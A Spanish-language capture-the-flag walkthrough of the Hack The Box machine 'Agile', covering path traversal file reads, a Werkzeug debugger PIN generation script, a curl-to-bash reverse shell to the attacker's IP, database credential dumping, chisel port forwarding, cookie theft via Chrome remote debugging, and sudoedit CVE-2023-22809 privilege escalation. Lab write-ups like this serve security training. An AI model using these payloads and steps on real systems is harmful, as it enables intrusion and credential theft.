Agile



Conocimientos


Reconocimiento

Escaneo de puertos con nmap

Descubrimiento de puertos abiertos

nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.11.203 -oG openports
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-11 17:40 GMT
Nmap scan report for 10.10.11.203
Host is up (0.091s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 14.00 seconds

Escaneo de versión y servicios de cada puerto

nmap -sCV -p22,80 10.10.11.203 -oN portscan
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-11 17:41 GMT
Nmap scan report for 10.10.11.203
Host is up (0.084s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f4:bc:ee:21:d7:1f:1a:a2:65:72:21:2d:5b:a6:f7:00 (ECDSA)
|_  256 65:c1:48:0d:88:cb:b9:75:a0:2c:a5:e6:37:7e:51:06 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.78 seconds

Añado el dominio superpass.htb al /etc/hosts

Puerto 80 (HTTP)

Con whatweb analizo las tecnologías que emplea el servidor web

whatweb http://10.10.11.203
http://10.10.11.203 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.203], RedirectLocation[http://superpass.htb], Title[301 Moved Permanently], nginx[1.18.0]
http://superpass.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.203], JQuery, Script, Title[SuperPassword 🦸], nginx[1.18.0]

La página principal se ve así:

Creo una cuenta

Puedo añadir contraseñas y exportarlas a un archivo que se descarga en mi equipo

Intercepto la petición con BurpSuite, y veo que se aplica un redirect a un parámetro que es vulnerable a LFI

GET /download?fn=rubbx_export_222fa488a7.csv HTTP/1.1

Obtengo el archivo /etc/passwd

GET /download?fn=../etc/passwd HTTP/1.1
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 11 Aug 2023 17:51:46 GMT
Content-Type: text/csv; charset=utf-8
Content-Length: 1744
Connection: close
Content-Disposition: attachment; filename=superpass_export.csv
Vary: Cookie

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
corum:x:1000:1000:corum:/home/corum:/bin/bash
dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
mysql:x:109:112:MySQL Server,,,:/nonexistent:/bin/false
runner:x:1001:1001::/app/app-testing/:/bin/sh
edwards:x:1002:1002::/home/edwards:/bin/bash
dev_admin:x:1003:1003::/home/dev_admin:/bin/bash
_laurel:x:999:999::/var/log/laurel:/bin/false

Al producir un error se puede acceder al modo de depuración de WerkZeug, pero es necesario un PIN del cual no dispongo

En Hacktricks explican una forma de como generarlo a partir de archivos de la máquina. Listo las variables de entorno para ver quien está ejecutando el servicio

GET /download?fn=../proc/self/environ HTTP/1.1
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 12 Aug 2023 09:30:40 GMT
Content-Type: text/csv; charset=utf-8
Content-Length: 260
Connection: close
Content-Disposition: attachment; filename=superpass_export.csv
Vary: Cookie

LANG=C.UTF-8PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binHOME=/var/wwwLOGNAME=www-dataUSER=www-dataINVOCATION_ID=b60052b6f23e4edb83976411c92b14ceJOURNAL_STREAM=8:33082SYSTEMD_EXEC_PID=1074CONFIG_PATH=/app/config_prod.json

El archivo principal con su directorio se puede ver que es flask/app.py y el nombre del servicio wsgi_app en el error

También me tengo que quedar con la ruta absoluta /app/venv/lib/python3.10/site-packages/flask/app.py. Y, por último, los private bits. Con el /proc/net/arp puedo ver el nombre de la interfaz de red

GET /download?fn=../proc/net/arp HTTP/1.1
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 12 Aug 2023 09:40:37 GMT
Content-Type: text/csv; charset=utf-8
Content-Length: 156
Connection: close
Content-Disposition: attachment; filename=superpass_export.csv
Vary: Cookie

IP address       HW type     Flags       HW address            Mask     Device
10.10.10.2       0x1         0x2         00:50:56:b9:75:02     *        eth0

Obtengo la dirección MAC

GET /download?fn=../sys/class/net/eth0/address HTTP/1.1
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 12 Aug 2023 09:41:58 GMT
Content-Type: text/csv; charset=utf-8
Content-Length: 18
Connection: close
Content-Disposition: attachment; filename=superpass_export.csv
Vary: Cookie

00:50:56:b9:0c:28

La transformo a decimal con python

python3
Python 3.11.4 (main, Jun  7 2023, 10:13:09) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print(0x005056b970d0)
345052377296

Me traigo el /etc/machineid

GET /download?fn=../etc/machine-id HTTP/1.1
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 12 Aug 2023 09:47:32 GMT
Content-Type: text/csv; charset=utf-8
Content-Length: 37
Connection: close
Content-Disposition: attachment; filename=superpass_export.csv
Vary: Cookie

ed5b159560f54721827644bc9b220d00

Y el /proc/self/cgroup

GET /download?fn=../proc/self/cgroup HTTP/1.1
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 12 Aug 2023 09:51:07 GMT
Content-Type: text/csv; charset=utf-8
Content-Length: 35
Connection: close
Content-Disposition: attachment; filename=superpass_export.csv
Vary: Cookie

0::/system.slice/superpass.service

El script final quedaría así:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import hashlib
from itertools import chain
probably_public_bits = [
    'www-data',# username
    'flask.app',# modname
    'wsgi_app',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/app/venv/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '345052377296',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'ed5b159560f54721827644bc9b220d00superpass.service'# get_machine_id(), /etc/machine-id
]

#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

Genero el pin y lo introduzco en el debugger

python3 generate_pin.py
101-245-952

Puedo ejecutar comandos como www-data

Creo un archivo index.html que se encargue de enviarme una reverse shell

#!/bin/bash

bash -c 'bash -i >& /dev/tcp/10.10.16.63/443 0>&1'

Lo comparto con un servicio HTTP con python

python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.203 - - [12/Aug/2023 10:05:48] "GET / HTTP/1.1" 200 -

Ejecuto e interpreto con bash

os.popen("curl 10.10.16.63 | bash").read()

Gano acceso al sistema

nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.63] from (UNKNOWN) [10.10.11.203] 47258
bash: cannot set terminal process group (1073): Inappropriate ioctl for device
bash: no job control in this shell
(venv) www-data@agile:/app/app$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<pp$ python3 -c 'import pty; pty.spawn("/bin/bash")'
(venv) www-data@agile:/app/app$ ^Z
zsh: suspended  nc -nlvp 443
❯ stty raw -echo; fg
[1]  + continued  nc -nlvp 443
                              reset xterm
(venv) www-data@agile:/app/app$ export TERM=xterm-color
(venv) www-data@agile:/app/app$ export SHELL=bash
(venv) www-data@agile:/app/app$ stty rows 55 columns 209
(venv) www-data@agile:/app/app$ source /etc/skel/.bashrc 
www-data@agile:/app/app$ 

Se puede ver un archivo con credenciales de acceso a la base de datos

www-data@agile:/app$ cat config_prod.json 
{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}

Me conecto

www-data@agile:/app$ mysql -usuperpassuser -p'dSA6l7q*yIVs$39Ml6ywvgK'
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 24
Server version: 8.0.32-0ubuntu0.22.04.2 (Ubuntu)

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> 

Obtengo credenciales

mysql> select username,password from passwords;
+----------+----------------------+
| username | password             |
+----------+----------------------+
| 0xdf     | 762b430d32eea2f12970 |
| 0xdf     | 5b133f7a6a1c180646cb |
| corum    | 47ed1e73c955de230a1d |
| corum    | 9799588839ed0f98c211 |
| corum    | 5db7caa1d13cc37c9fc2 |
+----------+----------------------+
5 rows in set (0.00 sec)

Gano acceso como corum con la contraseña 5db7caa1d13cc37c9fc2. Puedo ver la primera flag

www-data@agile:/app$ su corum
Password: 
corum@agile:/app$ cd
corum@agile:~$ cat user.txt 
92e00e36d6c842fab3a31771b83ce5e7

Se está ejecutando un servicio web bajo el subdomino test.superpass.htb

corum@agile:~$ cat /etc/nginx/sites-enabled/superpass-test.nginx 
server {
    listen 127.0.0.1:80;
    server_name test.superpass.htb;

    location /static {
        alias /app/app-testing/superpass/static;
        expires 365d;
    }
    location / {
        include uwsgi_params;
        proxy_pass http://127.0.0.1:5555;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-Protocol $scheme;
    }
}

Dentro de /app/app-testing/tests/functional se encuentra un script en python que en el panel de ayuda, se muestra un puerto destinado a debbugging

options.add_argument("--remote-debugging-port=41829")

Está abierto internamente

corum@agile:/app/app-testing/tests/functional$ ss -nltp | grep 41829
LISTEN 0      10         127.0.0.1:41829      0.0.0.0:*  

Varios procesos lo están utilizando

corum@agile:/app/app-testing/tests/functional$ ps -faux | grep 41829
runner      2281  0.1  2.5 34015196 103524 ?     Sl   10:30   0:00                      \_ /usr/bin/google-chrome --allow-pre-commit-input --crash-dumps-dir=/tmp --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-gpu --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-blink-features=ShadowDOMV0 --enable-logging --headless --log-level=0 --no-first-run --no-service-autorun --password-store=basic --remote-debugging-port=41829 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.com.google.Chrome.gp7EMf --window-size=1420,1080 data:,
runner      2344  0.3  3.9 1184764352 159100 ?   Sl   10:30   0:01                          |       \_ /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=2288 --lang=en-US --enable-automation --enable-logging --log-level=0 --remote-debugging-port=41829 --test-type=webdriver --allow-pre-commit-input --ozone-platform=headless --disable-gpu-compositing --enable-blink-features=ShadowDOMV0 --lang=en-US --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1691834131102527 --launch-time-ticks=2071689208 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=0,i,16535539327393366571,794766477956318211,131072 --disable-features=PaintHolding
corum       2440  0.0  0.0   4020  2180 pts/0    S+   10:35   0:00      |                               \_ grep --color=auto 41829

Utilizo chisel para aplicar Remote Port Forwarding. Desde mi equipo lo ejecuto como servidor

chisel server -p 1234 --reverse

En la máquina víctima me conecto como cliente

corum@agile:/tmp$ ./chisel client 10.10.16.63:1234 R:41829:127.0.0.1:41829 &>/dev/null & disown

Desde Chromium, añado este nuevo debbugger, introduciendo como url la ruta chrome://inspect

Aparecerá lo siguiente:

Al inspeccionarlo, se ven dos cookies de sesión, lo que significa que otro usuario está loggeado

En /vault están almacenadas dos contraseñas. Una de ellas, d07867c6267dcb5df0af corresponde al usuario edwards a nivel de sistema

corum@agile:/tmp$ su edwards
Password: 
edwards@agile:/tmp

Tengo varios privilegios a nivel de sudoers

edwards@agile:/home$ sudo -l
[sudo] password for edwards: 
Matching Defaults entries for edwards on agile:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User edwards may run the following commands on agile:
    (dev_admin : dev_admin) sudoedit /app/config_test.json
    (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt

La versión de sudoedit es vulnerable al CVE-2023-22809

edwards@agile:/tmp$ sudoedit -V
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9

Modifico el /app/venv/bin/activate, a través del /app/config_test.json, que permite en el sudoers para que la próxima vez que se logué el usuario root, asigne a la bash el privilegio SUID

edwards@agile:/$ find \-group dev_admin 2>/dev/null 
./home/dev_admin
./app/venv
./app/venv/bin
./app/venv/bin/activate
./app/venv/bin/Activate.ps1
./app/venv/bin/activate.fish
./app/venv/bin/activate.csh
edwards@agile:/$ find \-user dev_admin 2>/dev/null 
./home/dev_admin
./app/app-testing/tests/functional/creds.txt
./app/config_test.json
./app/config_prod.json

Puedo ver la segunda flag

edwards@agile:/$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1396520 Jan  6  2022 /bin/bash
edwards@agile:/$ bash -p
edwards@agile:/# cat /root/root.txt 
d4bd3231862f25acf2f5db8af092bc3d